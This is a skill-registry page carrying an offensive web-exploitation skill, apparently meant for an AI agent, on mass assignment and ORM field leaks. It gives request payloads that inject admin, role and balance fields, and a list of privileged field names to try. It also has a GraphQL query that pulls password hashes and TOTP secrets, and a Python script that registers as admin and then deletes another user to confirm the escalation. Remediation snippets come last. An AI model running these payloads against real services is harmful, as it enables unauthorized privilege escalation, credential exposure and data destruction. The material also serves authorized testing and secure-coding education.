Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.
64
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.mdAPI endpoints that bind request JSON straight to model update() /
create() without an allowlist can be coerced into setting admin
fields (is_admin, role, verified, etc).
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}
# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
"balance": 999999, "permissions": ["*"], "isStaff": true,
"membership_level": "premium", "tier": "enterprise"}Re-fetch own profile. If any of the injected fields persists with attacker-set value → mass assignment.
is_admin isAdmin admin superuser is_staff isStaff staff
role roles permission permissions scope scopes group groups
verified email_verified isVerified approved banned is_banned
balance credits points reputation
tier membership_level plan subscription
created_at email user_id uuid external_id organization_id
password password_hashUser.create(params[:user]) → all params mass-assigned. Rails 4+ enforces
params.require(:user).permit(:name, :email). If permit list is too broad,
mass assignment.
UserSerializer(instance, data=request.data, partial=True).save() → all
declared fields settable. Bug: developer adds is_staff to serializer
fields by mistake.
User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.@RequestBody User u → Jackson binds all settable properties. If User
has setter for role, attacker can set it.
c.Bind(&user) → same pattern.
Sometimes the response serializer leaks fields the request can't set:
GET /api/users/123
{
"id": 123,
"name": "Alice",
"email": "alice@target.com",
"password_hash": "$2a$12$...", ← leak!
"totp_secret": "JBSW...", ← leak!
"stripe_customer_id": "cus_...",
"internal_notes": "VIP customer"
}Or via GraphQL field expansion:
query { user(id: 123) { id name email passwordHash totpSecret } }import requests
# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
"username": "attacker",
"password": "test123",
"is_admin": True, # try
"role": "admin", # try
})
# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True # boom
# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2") # delete another user → confirm admin| Bug | Severity |
|---|---|
Mass assignment to is_admin / role | Critical 9.8 |
Mass assignment to balance / credits | Critical 9.0 |
Mass assignment to email_verified | High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |
# Django REST Framework — explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['name', 'email'] # whitelist
read_only_fields = ['id', 'created_at', 'is_admin', 'role']
# Rails — strong params
def user_params
params.require(:user).permit(:name, :email)
end
# General: NEVER serialize entire model directly. Always project.skills/_corpus/payloads/Mass Assignment/ + ORM Leak/skills/exploit/web/methodology/ (when added)0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.